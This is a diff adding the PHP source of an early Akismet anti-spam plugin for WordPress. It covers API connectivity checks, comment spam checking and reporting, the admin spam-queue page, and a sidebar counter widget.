+	update_option('akismet_available_servers', $servers);
+	update_option('akismet_connectivity_time', time());
+	return $servers;
+}
+
+// Returns true if server connectivity was OK at the last check, false if there was a problem that needs to be fixed.
+function akismet_server_connectivity_ok() {
+	$servers = akismet_get_server_connectivity();
+	return !( empty($servers) || !count($servers) || count( array_filter($servers) ) < count($servers) );
+}
+
+if ( !get_option('wordpress_api_key') && !$wpcom_api_key && !isset($_POST['submit']) ) {
+	function akismet_warning() {
+		echo "
+		<div id='akismet-warning' class='updated fade'><p><strong>".__('Akismet is almost ready.')."</strong> ".sprintf(__('You must <a href="%1$s">enter your WordPress.com API key</a> for it to work.'), "plugins.php?page=akismet-key-config")."</p></div>
+		";
+	}
+	add_action('admin_notices', 'akismet_warning');
+	return;
+} elseif ( get_option('akismet_connectivity_time') && empty($_POST) && is_admin() && !akismet_server_connectivity_ok() ) {
+	function akismet_warning() {
+		echo "
+		<div id='akismet-warning' class='updated fade'><p><strong>".__('Akismet has detected a problem.')."</strong> ".sprintf(__('A server or network problem is preventing Akismet from working correctly.  <a href="%1$s">Click here for more information</a> about how to fix the problem.'), "plugins.php?page=akismet-key-config")."</p></div>
+		";
+	}
+	add_action('admin_notices', 'akismet_warning');
+	return;
+}
+
+function akismet_get_host($host) {
+	// if all servers are accessible, just return the host name.
+	// if not, return an IP that was known to be accessible at the last check.
+	if ( akismet_server_connectivity_ok() ) {
+		return $host;
+	} else {
+		$ips = akismet_get_server_connectivity();
+		// a firewall may be blocking access to some Akismet IPs
+		if ( count($ips) > 0 && count(array_filter($ips)) < count($ips) ) {
+			// use DNS to get current IPs, but exclude any known to be unreachable
+			$dns = (array)gethostbynamel( rtrim($host, '.') . '.' );
+			$dns = array_filter($dns);
+			foreach ( $dns as $ip ) {
+				if ( array_key_exists( $ip, $ips ) && empty( $ips[$ip] ) )
+					unset($dns[$ip]);
+			}
+			// return a random IP from those available
+			if ( count($dns) )
+				return $dns[ array_rand($dns) ];
+			
+		}
+	}
+	// if all else fails try the host name
+	return $host;
+}
+
+// Returns array with headers in $response[0] and body in $response[1]
+function akismet_http_post($request, $host, $path, $port = 80, $ip=null) {
+	global $wp_version;
+
+	$http_request  = "POST $path HTTP/1.0\r\n";
+	$http_request .= "Host: $host\r\n";
+	$http_request .= "Content-Type: application/x-www-form-urlencoded; charset=" . get_option('blog_charset') . "\r\n";
+	$http_request .= "Content-Length: " . strlen($request) . "\r\n";
+	$http_request .= "User-Agent: WordPress/$wp_version | Akismet/2.0\r\n";
+	$http_request .= "\r\n";
+	$http_request .= $request;
+	
+	$http_host = $host;
+	// use a specific IP if provided - needed by akismet_check_server_connectivity()
+	if ( $ip && long2ip(ip2long($ip)) ) {
+		$http_host = $ip;
+	} else {
+		$http_host = akismet_get_host($host);
+	}
+
+	$response = '';
+	if( false != ( $fs = @fsockopen($http_host, $port, $errno, $errstr, 10) ) ) {
+		fwrite($fs, $http_request);
+
+		while ( !feof($fs) )
+			$response .= fgets($fs, 1160); // One TCP-IP packet
+		fclose($fs);
+		$response = explode("\r\n\r\n", $response, 2);
+	}
+	return $response;
+}
+
+function akismet_auto_check_comment( $comment ) {
+	global $akismet_api_host, $akismet_api_port;
+
+	$comment['user_ip']    = preg_replace( '/[^0-9., ]/', '', $_SERVER['REMOTE_ADDR'] );
+	$comment['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
+	$comment['referrer']   = $_SERVER['HTTP_REFERER'];
+	$comment['blog']       = get_option('home');
+	$comment['blog_lang']  = get_locale();
+	$comment['blog_charset'] = get_option('blog_charset');
+	$comment['permalink']  = get_permalink($comment['comment_post_ID']);
+
+	$ignore = array( 'HTTP_COOKIE' );
+
+	foreach ( $_SERVER as $key => $value )
+		if ( !in_array( $key, $ignore ) )
+			$comment["$key"] = $value;
+
+	$query_string = '';
+	foreach ( $comment as $key => $data )
+		$query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&';
+
+	$response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port);
+	if ( 'true' == $response[1] ) {
+		add_filter('pre_comment_approved', create_function('$a', 'return \'spam\';'));
+		update_option( 'akismet_spam_count', get_option('akismet_spam_count') + 1 );
+
+		do_action( 'akismet_spam_caught' );
+
+		$post = get_post( $comment['comment_post_ID'] );
+		$last_updated = strtotime( $post->post_modified_gmt );
+		$diff = time() - $last_updated;
+		$diff = $diff / 86400;
+
+		if ( $post->post_type == 'post' && $diff > 30 && get_option( 'akismet_discard_month' ) == 'true' )
+			die;
+	}
+	akismet_delete_old();
+	return $comment;
+}
+
+function akismet_delete_old() {
+	global $wpdb;
+	$now_gmt = current_time('mysql', 1);
+	$wpdb->query("DELETE FROM $wpdb->comments WHERE DATE_SUB('$now_gmt', INTERVAL 15 DAY) > comment_date_gmt AND comment_approved = 'spam'");
+	$n = mt_rand(1, 5000);
+	if ( $n == 11 ) // lucky number
+		$wpdb->query("OPTIMIZE TABLE $wpdb->comments");
+}
+
+function akismet_submit_nonspam_comment ( $comment_id ) {
+	global $wpdb, $akismet_api_host, $akismet_api_port, $current_user, $current_site;
+	$comment_id = (int) $comment_id;
+	
+	$comment = $wpdb->get_row("SELECT * FROM $wpdb->comments WHERE comment_ID = '$comment_id'");
+	if ( !$comment ) // it was deleted
+		return;
+	$comment->blog = get_option('home');
+	$comment->blog_lang = get_locale();
+	$comment->blog_charset = get_option('blog_charset');
+	$comment->permalink = get_permalink($comment->comment_post_ID);
+	if ( is_object($current_user) ) {
+	    $comment->reporter = $current_user->user_login;
+	}
+	if ( is_object($current_site) ) {
+		$comment->site_domain = $current_site->domain;
+	}
+	$query_string = '';
+	foreach ( $comment as $key => $data )
+		$query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&';
+
+	$response = akismet_http_post($query_string, $akismet_api_host, "/1.1/submit-ham", $akismet_api_port);
+}
+
+function akismet_submit_spam_comment ( $comment_id ) {
+	global $wpdb, $akismet_api_host, $akismet_api_port, $current_user, $current_site;
+	$comment_id = (int) $comment_id;
+
+	$comment = $wpdb->get_row("SELECT * FROM $wpdb->comments WHERE comment_ID = '$comment_id'");
+	if ( !$comment ) // it was deleted
+		return;
+	if ( 'spam' != $comment->comment_approved )
+		return;
+	$comment->blog = get_option('home');
+	$comment->blog_lang = get_locale();
+	$comment->blog_charset = get_option('blog_charset');
+	$comment->permalink = get_permalink($comment->comment_post_ID);
+	if ( is_object($current_user) ) {
+	    $comment->reporter = $current_user->user_login;
+	}
+	if ( is_object($current_site) ) {
+		$comment->site_domain = $current_site->domain;
+	}
+	$query_string = '';
+	foreach ( $comment as $key => $data )
+		$query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&';
+
+	$response = akismet_http_post($query_string, $akismet_api_host, "/1.1/submit-spam", $akismet_api_port);
+}
+
+add_action('wp_set_comment_status', 'akismet_submit_spam_comment');
+add_action('edit_comment', 'akismet_submit_spam_comment');
+add_action('preprocess_comment', 'akismet_auto_check_comment', 1);
+
+function akismet_spamtoham( $comment ) { akismet_submit_nonspam_comment( $comment->comment_ID ); }
+add_filter( 'comment_spam_to_approved', 'akismet_spamtoham' );
+
+// Total spam in queue
+// get_option( 'akismet_spam_count' ) is the total caught ever
+function akismet_spam_count( $type = false ) {
+	global $wpdb;
+
+	if ( !$type ) { // total
+		$count = wp_cache_get( 'akismet_spam_count', 'widget' );
+		if ( false === $count ) {
+			if ( function_exists('wp_count_comments') ) {
+				$count = wp_count_comments();
+				$count = $count->spam;
+			} else {
+				$count = (int) $wpdb->get_var("SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_approved = 'spam'");
+			}
+			wp_cache_set( 'akismet_spam_count', $count, 'widget', 3600 );
+		}
+		return $count;
+	} elseif ( 'comments' == $type || 'comment' == $type ) { // comments
+		$type = '';
+	} else { // pingback, trackback, ...
+		$type  = $wpdb->escape( $type );
+	}
+
+	return (int) $wpdb->get_var("SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_approved = 'spam' AND comment_type='$type'");
+}
+
+function akismet_spam_comments( $type = false, $page = 1, $per_page = 50 ) {
+	global $wpdb;
+
+	$page = (int) $page;
+	if ( $page < 2 )
+		$page = 1;
+
+	$per_page = (int) $per_page;
+	if ( $per_page < 1 )
+		$per_page = 50;
+
+	$start = ( $page - 1 ) * $per_page;
+	$end = $start + $per_page;
+
+	if ( $type ) {
+		if ( 'comments' == $type || 'comment' == $type )
+			$type = '';
+		else
+			$type = $wpdb->escape( $type );
+		return $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE comment_approved = 'spam' AND comment_type='$type' ORDER BY comment_date DESC LIMIT $start, $end");
+	}
+
+	// All
+	return $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE comment_approved = 'spam' ORDER BY comment_date DESC LIMIT $start, $end");
+}
+
+// Totals for each comment type
+// returns array( type => count, ... )
+function akismet_spam_totals() {
+	global $wpdb;
+	$totals = $wpdb->get_results( "SELECT comment_type, COUNT(*) AS cc FROM $wpdb->comments WHERE comment_approved = 'spam' GROUP BY comment_type" );
+	$return = array();
+	foreach ( $totals as $total )
+		$return[$total->comment_type ? $total->comment_type : 'comment'] = $total->cc;
+	return $return;
+}
+
+function akismet_manage_page() {
+	global $wpdb, $submenu, $wp_db_version;
+
+	// WP 2.7 has its own spam management page
+	if ( 8645 <= $wp_db_version )
+		return;
+
+	$count = sprintf(__('Akismet Spam (%s)'), akismet_spam_count());
+	if ( isset( $submenu['edit-comments.php'] ) )
+		add_submenu_page('edit-comments.php', __('Akismet Spam'), $count, 'moderate_comments', 'akismet-admin', 'akismet_caught' );
+	elseif ( function_exists('add_management_page') )
+		add_management_page(__('Akismet Spam'), $count, 'moderate_comments', 'akismet-admin', 'akismet_caught');
+}
+
+function akismet_caught() {
+	global $wpdb, $comment, $akismet_caught, $akismet_nonce;
+
+	akismet_recheck_queue();
+	if (isset($_POST['submit']) && 'recover' == $_POST['action'] && ! empty($_POST['not_spam'])) {
+		check_admin_referer( $akismet_nonce );
+		if ( function_exists('current_user_can') && !current_user_can('moderate_comments') )
+			die(__('You do not have sufficient permission to moderate comments.'));
+
+		$i = 0;
+		foreach ($_POST['not_spam'] as $comment):
+			$comment = (int) $comment;
+			if ( function_exists('wp_set_comment_status') )
+				wp_set_comment_status($comment, 'approve');
+			else
+				$wpdb->query("UPDATE $wpdb->comments SET comment_approved = '1' WHERE comment_ID = '$comment'");
+			akismet_submit_nonspam_comment($comment);
+			++$i;
+		endforeach;
+		$to = add_query_arg( 'recovered', $i, $_SERVER['HTTP_REFERER'] );
+		wp_redirect( $to );
+		exit;
+	}
+	if ('delete' == $_POST['action']) {
+		check_admin_referer( $akismet_nonce );
+		if ( function_exists('current_user_can') && !current_user_can('moderate_comments') )
+			die(__('You do not have sufficient permission to moderate comments.'));
+
+		$delete_time = $wpdb->escape( $_POST['display_time'] );
+		$nuked = $wpdb->query( "DELETE FROM $wpdb->comments WHERE comment_approved = 'spam' AND '$delete_time' > comment_date_gmt" );
+		wp_cache_delete( 'akismet_spam_count', 'widget' );
+		$to = add_query_arg( 'deleted', 'all', $_SERVER['HTTP_REFERER'] );
+		wp_redirect( $to );
+		exit;
+	}
+
+if ( isset( $_GET['recovered'] ) ) {
+	$i = (int) $_GET['recovered'];
+	echo '<div class="updated"><p>' . sprintf(__('%1$s comments recovered.'), $i) . "</p></div>";
+}
+
+if (isset( $_GET['deleted'] ) )
+	echo '<div class="updated"><p>' . __('All spam deleted.') . '</p></div>';
+
+if ( isset( $GLOBALS['submenu']['edit-comments.php'] ) )
+	$link = 'edit-comments.php';
+else
+	$link = 'edit.php';
+?>
+<style type="text/css">
+.akismet-tabs {
+	list-style: none;
+	margin: 0;
+	padding: 0;
+	clear: both;
+	border-bottom: 1px solid #ccc;
+	height: 31px;
+	margin-bottom: 20px;
+	background: #ddd;
+	border-top: 1px solid #bdbdbd;
+}
+.akismet-tabs li {
+	float: left;
+	margin: 5px 0 0 20px;
+}
+.akismet-tabs a {
+	display: block;
+	padding: 4px .5em 3px;
+	border-bottom: none;
+	color: #036;
+}
+.akismet-tabs .active a {
+	background: #fff;
+	border: 1px solid #ccc;
+	border-bottom: none;
+	color: #000;
+	font-weight: bold;
+	padding-bottom: 4px;
+}
+#akismetsearch {
+	float: right;
+	margin-top: -.5em;
+}
+
+#akismetsearch p {
+	margin: 0;
+	padding: 0;
+}
+</style>
+<div class="wrap">
+<h2><?php _e('Caught Spam') ?></h2>
+<?php
+$count = get_option( 'akismet_spam_count' );
+if ( $count ) {
+?>
+<p><?php printf(__('Akismet has caught <strong>%1$s spam</strong> for you since you first installed it.'), number_format_i18n($count) ); ?></p>
+<?php
+}
+
+$spam_count = akismet_spam_count();
+
+if ( 0 == $spam_count ) {
+	echo '<p>'.__('You have no spam currently in the queue. Must be your lucky day. :)').'</p>';
+	echo '</div>';
+} else {
+	echo '<p>'.__('You can delete all of the spam from your database with a single click. This operation cannot be undone, so you may wish to check to ensure that no legitimate comments got through first. Spam is automatically deleted after 15 days, so don&#8217;t sweat it.').'</p>';
+?>
+<?php if ( !isset( $_POST['s'] ) ) { ?>
+<form method="post" action="<?php echo attribute_escape( add_query_arg( 'noheader', 'true' ) ); ?>">
+<?php akismet_nonce_field($akismet_nonce) ?>
+<input type="hidden" name="action" value="delete" />
+<?php printf(__('There are currently %1$s comments identified as spam.'), $spam_count); ?>&nbsp; &nbsp; <input type="submit" class="button delete" name="Submit" value="<?php _e('Delete all'); ?>" />
+<input type="hidden" name="display_time" value="<?php echo current_time('mysql', 1); ?>" />
+</form>
+<?php } ?>
+</div>
+<div class="wrap">
+<?php if ( isset( $_POST['s'] ) ) { ?>
+<h2><?php _e('Search'); ?></h2>
+<?php } else { ?>
+<?php echo '<p>'.__('These are the latest comments identified as spam by Akismet. If you see any mistakes, simply mark the comment as "not spam" and Akismet will learn from the submission. If you wish to recover a comment from spam, simply select the comment, and click Not Spam. After 15 days we clean out the junk for you.').'</p>'; ?>
+<?php } ?>
+<?php
+if ( isset( $_POST['s'] ) ) {
+	$s = $wpdb->escape($_POST['s']);
+	$comments = $wpdb->get_results("SELECT * FROM $wpdb->comments  WHERE
+		(comment_author LIKE '%$s%' OR
+		comment_author_email LIKE '%$s%' OR
+		comment_author_url LIKE ('%$s%') OR
+		comment_author_IP LIKE ('%$s%') OR
+		comment_content LIKE ('%$s%') ) AND
+		comment_approved = 'spam'
+		ORDER BY comment_date DESC");
+} else {
+	if ( isset( $_GET['apage'] ) )
+		$page = (int) $_GET['apage'];
+	else
+		$page = 1;
+
+	if ( $page < 2 )
+		$page = 1;
+
+	$current_type = false;
+	if ( isset( $_GET['ctype'] ) )
+		$current_type = preg_replace( '|[^a-z]|', '', $_GET['ctype'] );
+
+	$comments = akismet_spam_comments( $current_type, $page );
+	$total = akismet_spam_count( $current_type );
+	$totals = akismet_spam_totals();
+?>
+<ul class="akismet-tabs">
+<li <?php if ( !isset( $_GET['ctype'] ) ) echo ' class="active"'; ?>><a href="edit-comments.php?page=akismet-admin"><?php _e('All'); ?></a></li>
+<?php
+foreach ( $totals as $type => $type_count ) {
+	if ( 'comment' == $type ) {
+		$type = 'comments';
+		$show = __('Comments');
+	} else {
+		$show = ucwords( $type );
+	}
+	$type_count = number_format_i18n( $type_count );
+	$extra = $current_type === $type ? ' class="active"' : '';
+	echo "<li $extra><a href='edit-comments.php?page=akismet-admin&amp;ctype=$type'>$show ($type_count)</a></li>";
+}
+do_action( 'akismet_tabs' ); // so plugins can add more tabs easily
+?>
+</ul>
+<?php
+}
+
+if ($comments) {
+?>
+<form method="post" action="<?php echo attribute_escape("$link?page=akismet-admin"); ?>" id="akismetsearch">
+<p>  <input type="text" name="s" value="<?php if (isset($_POST['s'])) echo attribute_escape($_POST['s']); ?>" size="17" />
+  <input type="submit" class="button" name="submit" value="<?php echo attribute_escape(__('Search Spam &raquo;')) ?>"  />  </p>
+</form>
+<?php if ( $total > 50 ) {
+$total_pages = ceil( $total / 50 );
+$r = '';
+if ( 1 < $page ) {
+	$args['apage'] = ( 1 == $page - 1 ) ? '' : $page - 1;
+	$r .=  '<a class="prev" href="' . clean_url(add_query_arg( $args )) . '">'. __('&laquo; Previous Page') .'</a>' . "\n";
+}
+if ( ( $total_pages = ceil( $total / 50 ) ) > 1 ) {
+	for ( $page_num = 1; $page_num <= $total_pages; $page_num++ ) :
+		if ( $page == $page_num ) :
+			$r .=  "<strong>$page_num</strong>\n";
+		else :
+			$p = false;
+			if ( $page_num < 3 || ( $page_num >= $page - 3 && $page_num <= $page + 3 ) || $page_num > $total_pages - 3 ) :
+				$args['apage'] = ( 1 == $page_num ) ? '' : $page_num;
+				$r .= '<a class="page-numbers" href="' . clean_url(add_query_arg($args)) . '">' . ( $page_num ) . "</a>\n";
+				$in = true;
+			elseif ( $in == true ) :
+				$r .= "...\n";
+				$in = false;
+			endif;
+		endif;
+	endfor;
+}
+if ( ( $page ) * 50 < $total || -1 == $total ) {
+	$args['apage'] = $page + 1;
+	$r .=  '<a class="next" href="' . clean_url(add_query_arg($args)) . '">'. __('Next Page &raquo;') .'</a>' . "\n";
+}
+echo "<p>$r</p>";
+?>
+
+<?php } ?>
+<form style="clear: both;" method="post" action="<?php echo attribute_escape( add_query_arg( 'noheader', 'true' ) ); ?>">
+<?php akismet_nonce_field($akismet_nonce) ?>
+<input type="hidden" name="action" value="recover" />
+<ul id="spam-list" class="commentlist" style="list-style: none; margin: 0; padding: 0;">
+<?php
+$i = 0;
+foreach($comments as $comment) {
+	$i++;
+	$comment_date = mysql2date(get_option("date_format") . " @ " . get_option("time_format"), $comment->comment_date);
+	$post = get_post($comment->comment_post_ID);
+	$post_title = $post->post_title;
+	if ($i % 2) $class = 'class="alternate"';
+	else $class = '';
+	echo "\n\t<li id='comment-$comment->comment_ID' $class>";
+	?>
+
+<p><strong><?php comment_author() ?></strong> <?php if ($comment->comment_author_email) { ?>| <?php comment_author_email_link() ?> <?php } if ($comment->comment_author_url && 'http://' != $comment->comment_author_url) { ?> | <?php comment_author_url_link() ?> <?php } ?>| <?php _e('IP:') ?> <a href="http://ws.arin.net/cgi-bin/whois.pl?queryinput=<?php comment_author_IP() ?>"><?php comment_author_IP() ?></a></p>
+
+<?php comment_text() ?>
+
+<p><label for="spam-<?php echo $comment->comment_ID; ?>">
+<input type="checkbox" id="spam-<?php echo $comment->comment_ID; ?>" name="not_spam[]" value="<?php echo $comment->comment_ID; ?>" />
+<?php _e('Not Spam') ?></label> &#8212; <?php comment_date('M j, g:i A');  ?> &#8212; [
+<?php
+$post = get_post($comment->comment_post_ID);
+$post_title = wp_specialchars( $post->post_title, 'double' );
+$post_title = ('' == $post_title) ? "# $comment->comment_post_ID" : $post_title;
+?>
+ <a href="<?php echo get_permalink($comment->comment_post_ID); ?>" title="<?php echo $post_title; ?>"><?php _e('View Post') ?></a> ] </p>
+
+
+<?php
+}
+?>
+</ul>
+<?php if ( $total > 50 ) {
+$total_pages = ceil( $total / 50 );
+$r = '';
+if ( 1 < $page ) {
+	$args['apage'] = ( 1 == $page - 1 ) ? '' : $page - 1;
+	$r .=  '<a class="prev" href="' . clean_url(add_query_arg( $args )) . '">'. __('&laquo; Previous Page') .'</a>' . "\n";
+}
+if ( ( $total_pages = ceil( $total / 50 ) ) > 1 ) {
+	for ( $page_num = 1; $page_num <= $total_pages; $page_num++ ) :
+		if ( $page == $page_num ) :
+			$r .=  "<strong>$page_num</strong>\n";
+		else :
+			$p = false;
+			if ( $page_num < 3 || ( $page_num >= $page - 3 && $page_num <= $page + 3 ) || $page_num > $total_pages - 3 ) :
+				$args['apage'] = ( 1 == $page_num ) ? '' : $page_num;
+				$r .= '<a class="page-numbers" href="' . clean_url(add_query_arg($args)) . '">' . ( $page_num ) . "</a>\n";
+				$in = true;
+			elseif ( $in == true ) :
+				$r .= "...\n";
+				$in = false;
+			endif;
+		endif;
+	endfor;
+}
+if ( ( $page ) * 50 < $total || -1 == $total ) {
+	$args['apage'] = $page + 1;
+	$r .=  '<a class="next" href="' . clean_url(add_query_arg($args)) . '">'. __('Next Page &raquo;') .'</a>' . "\n";
+}
+echo "<p>$r</p>";
+}
+?>
+<p class="submit">
+<input type="submit" name="submit" value="<?php echo attribute_escape(__('De-spam marked comments &raquo;')); ?>" />
+</p>
+<p><?php _e('Comments you de-spam will be submitted to Akismet as mistakes so it can learn and get better.'); ?></p>
+</form>
+<?php
+} else {
+?>
+<p><?php _e('No results found.'); ?></p>
+<?php } ?>
+
+<?php if ( !isset( $_POST['s'] ) ) { ?>
+<form method="post" action="<?php echo attribute_escape( add_query_arg( 'noheader', 'true' ) ); ?>">
+<?php akismet_nonce_field($akismet_nonce) ?>
+<p><input type="hidden" name="action" value="delete" />
+<?php printf(__('There are currently %1$s comments identified as spam.'), $spam_count); ?>&nbsp; &nbsp; <input type="submit" name="Submit" class="button" value="<?php echo attribute_escape(__('Delete all')); ?>" />
+<input type="hidden" name="display_time" value="<?php echo current_time('mysql', 1); ?>" /></p>
+</form>
+<?php } ?>
+</div>
+<?php
+	}
+}
+
+add_action('admin_menu', 'akismet_manage_page');
+
+// WP < 2.5
+function akismet_stats() {
+	if ( !function_exists('did_action') || did_action( 'rightnow_end' ) ) // We already displayed this info in the "Right Now" section
+		return;
+	if ( !$count = get_option('akismet_spam_count') )
+		return;
+	$path = plugin_basename(__FILE__);
+	echo '<h3>'.__('Spam').'</h3>';
+	global $submenu;
+	if ( isset( $submenu['edit-comments.php'] ) )
+		$link = 'edit-comments.php';
+	else
+		$link = 'edit.php';
+	echo '<p>'.sprintf(__('<a href="%1$s">Akismet</a> has protected your site from <a href="%2$s">%3$s spam comments</a>.'), 'http://akismet.com/', clean_url("$link?page=akismet-admin"), number_format_i18n($count) ).'</p>';
+}
+
+add_action('activity_box_end', 'akismet_stats');
+
+// WP 2.5+
+function akismet_rightnow() {
+	global $submenu, $wp_db_version;
+
+	if ( 8645 < $wp_db_version  ) // 2.7
+		$link = 'edit-comments.php?comment_status=spam';
+	elseif ( isset( $submenu['edit-comments.php'] ) )
+		$link = 'edit-comments.php?page=akismet-admin';
+	else
+		$link = 'edit.php?page=akismet-admin';
+
+	if ( $count = get_option('akismet_spam_count') ) {
+		$intro = sprintf( __ngettext(
+			'<a href="%1$s">Akismet</a> has protected your site from %2$s spam comment already,',
+			'<a href="%1$s">Akismet</a> has protected your site from %2$s spam comments already,',
+			$count
+		), 'http://akismet.com/', number_format_i18n( $count ) );
+	} else {
+		$intro = sprintf( __('<a href="%1$s">Akismet</a> blocks spam from getting to your blog,'), 'http://akismet.com/' );
+	}
+
+	if ( $queue_count = akismet_spam_count() ) {
+		$queue_text = sprintf( __ngettext(
+			'and there\'s <a href="%2$s">%1$s comment</a> in your spam queue right now.',
+			'and there are <a href="%2$s">%1$s comments</a> in your spam queue right now.',
+			$queue_count
+		), number_format_i18n( $queue_count ), clean_url($link) );
+	} else {
+		$queue_text = sprintf( __( "but there's nothing in your <a href='%1\$s'>spam queue</a> at the moment." ), clean_url($link) );
+	}
+
+	$text = sprintf( _c( '%1$s %2$s|akismet_rightnow' ), $intro, $queue_text );
+
+	echo "<p class='akismet-right-now'>$text</p>\n";
+}
+	
+add_action('rightnow_end', 'akismet_rightnow');
+
+// For WP <= 2.3.x
+if ( 'moderation.php' == $pagenow ) {
+	function akismet_recheck_button( $page ) {
+		global $submenu;
+		if ( isset( $submenu['edit-comments.php'] ) )
+			$link = 'edit-comments.php';
+		else
+			$link = 'edit.php';
+		$button = "<a href='$link?page=akismet-admin&amp;recheckqueue=true&amp;noheader=true' style='display: block; width: 100px; position: absolute; right: 7%; padding: 5px; font-size: 14px; text-decoration: underline; background: #fff; border: 1px solid #ccc;'>" . __('Recheck Queue for Spam') . "</a>";
+		$page = str_replace( '<div class="wrap">', '<div class="wrap">' . $button, $page );
+		return $page;
+	}
+
+	if ( $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_approved = '0'" ) )
+		ob_start( 'akismet_recheck_button' );
+}
+
+// For WP >= 2.5
+function akismet_check_for_spam_button($comment_status) {
+	if ( 'approved' == $comment_status )
+		return;
+	if ( function_exists('plugins_url') )
+		$link = 'admin.php?action=akismet_recheck_queue';
+	else
+		$link = 'edit-comments.php?page=akismet-admin&amp;recheckqueue=true&amp;noheader=true';
+	echo "</div><div class='alignleft'><a class='button-secondary checkforspam' href='$link'>" . __('Check for Spam') . "</a>";
+}
+add_action('manage_comments_nav', 'akismet_check_for_spam_button');
+
+function akismet_recheck_queue() {
+	global $wpdb, $akismet_api_host, $akismet_api_port;
+
+	if ( ! ( isset( $_GET['recheckqueue'] ) || ( isset( $_REQUEST['action'] ) && 'akismet_recheck_queue' == $_REQUEST['action'] ) ) )
+		return;
+
+	$moderation = $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE comment_approved = '0'", ARRAY_A );
+	foreach ( (array) $moderation as $c ) {
+		$c['user_ip']    = $c['comment_author_IP'];
+		$c['user_agent'] = $c['comment_agent'];
+		$c['referrer']   = '';
+		$c['blog']       = get_option('home');
+		$c['blog_lang']  = get_locale();
+		$c['blog_charset'] = get_option('blog_charset');
+		$c['permalink']  = get_permalink($c['comment_post_ID']);
+		$id = (int) $c['comment_ID'];
+
+		$query_string = '';
+		foreach ( $c as $key => $data )
+		$query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&';
+
+		$response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port);
+		if ( 'true' == $response[1] ) {
+			$wpdb->query( "UPDATE $wpdb->comments SET comment_approved = 'spam' WHERE comment_ID = $id" );
+		}
+	}
+	wp_redirect( $_SERVER['HTTP_REFERER'] );
+	exit;
+}
+
+add_action('admin_action_akismet_recheck_queue', 'akismet_recheck_queue');
+
+function akismet_check_db_comment( $id ) {
+	global $wpdb, $akismet_api_host, $akismet_api_port;
+
+	$id = (int) $id;
+	$c = $wpdb->get_row( "SELECT * FROM $wpdb->comments WHERE comment_ID = '$id'", ARRAY_A );
+	if ( !$c )
+		return;
+
+	$c['user_ip']    = $c['comment_author_IP'];
+	$c['user_agent'] = $c['comment_agent'];
+	$c['referrer']   = '';
+	$c['blog']       = get_option('home');
+	$c['blog_lang']  = get_locale();
+	$c['blog_charset'] = get_option('blog_charset');
+	$c['permalink']  = get_permalink($c['comment_post_ID']);
+	$id = $c['comment_ID'];
+
+	$query_string = '';
+	foreach ( $c as $key => $data )
+	$query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&';
+
+	$response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port);
+	return $response[1];
+}
+
+// This option causes tons of FPs, was removed in 2.1
+function akismet_kill_proxy_check( $option ) { return 0; }
+add_filter('option_open_proxy_check', 'akismet_kill_proxy_check');
+
+// Widget stuff
+function widget_akismet_register() {
+	if ( function_exists('register_sidebar_widget') ) :
+	function widget_akismet($args) {
+		extract($args);
+		$options = get_option('widget_akismet');
+		$count = number_format_i18n(get_option('akismet_spam_count'));
+		?>
+			<?php echo $before_widget; ?>
+				<?php echo $before_title . $options['title'] . $after_title; ?>
+				<div id="akismetwrap"><div id="akismetstats"><a id="aka" href="http://akismet.com" title=""><?php printf( __( '%1$s %2$sspam comments%3$s %4$sblocked by%5$s<br />%6$sAkismet%7$s' ), '<div id="akismet1"><span id="akismetcount">' . $count . '</span>', '<span id="akismetsc">', '</span></div>', '<div id="akismet2"><span id="akismetbb">', '</span>', '<span id="akismeta">', '</span></div>' ); ?></a></div></div>
+			<?php echo $after_widget; ?>
+	<?php
+	}
+
+	function widget_akismet_style() {
+		?>
+<style type="text/css">
+#aka,#aka:link,#aka:hover,#aka:visited,#aka:active{color:#fff;text-decoration:none}
+#aka:hover{border:none;text-decoration:none}
+#aka:hover #akismet1{display:none}
+#aka:hover #akismet2,#akismet1{display:block}
+#akismet2{display:none;padding-top:2px}
+#akismeta{font-size:16px;font-weight:bold;line-height:18px;text-decoration:none}
+#akismetcount{display:block;font:15px Verdana,Arial,Sans-Serif;font-weight:bold;text-decoration:none}
+#akismetwrap #akismetstats{background:url(<?php echo get_option('siteurl'); ?>/wp-content/plugins/akismet/akismet.gif) no-repeat top left;border:none;color:#fff;font:11px 'Trebuchet MS','Myriad Pro',sans-serif;height:40px;line-height:100%;overflow:hidden;padding:8px 0 0;text-align:center;width:120px}
+</style>
+		<?php
+	}
+
+	function widget_akismet_control() {
+		$options = $newoptions = get_option('widget_akismet');
+		if ( $_POST["akismet-submit"] ) {
+			$newoptions['title'] = strip_tags(stripslashes($_POST["akismet-title"]));
+			if ( empty($newoptions['title']) ) $newoptions['title'] = 'Spam Blocked';
+		}
+		if ( $options != $newoptions ) {
+			$options = $newoptions;
+			update_option('widget_akismet', $options);
+		}
+		$title = htmlspecialchars($options['title'], ENT_QUOTES);
+	?>
+				<p><label for="akismet-title"><?php _e('Title:'); ?> <input style="width: 250px;" id="akismet-title" name="akismet-title" type="text" value="<?php echo $title; ?>" /></label></p>
+				<input type="hidden" id="akismet-submit" name="akismet-submit" value="1" />
+	<?php
+	}
+
+	register_sidebar_widget('Akismet', 'widget_akismet', null, 'akismet');
+	register_widget_control('Akismet', 'widget_akismet_control', null, 75, 'akismet');
+	if ( is_active_widget('widget_akismet') )
+		add_action('wp_head', 'widget_akismet_style');
+	endif;
+}
+
+add_action('init', 'widget_akismet_register');
+
+// Counter for non-widget users
+function akismet_counter() {
+?>
+<style type="text/css">
+#akismetwrap #aka,#aka:link,#aka:hover,#aka:visited,#aka:active{color:#fff;text-decoration:none}
+#aka:hover{border:none;text-decoration:none}
+#aka:hover #akismet1{display:none}
+#aka:hover #akismet2,#akismet1{display:block}
+#akismet2{display:none;padding-top:2px}
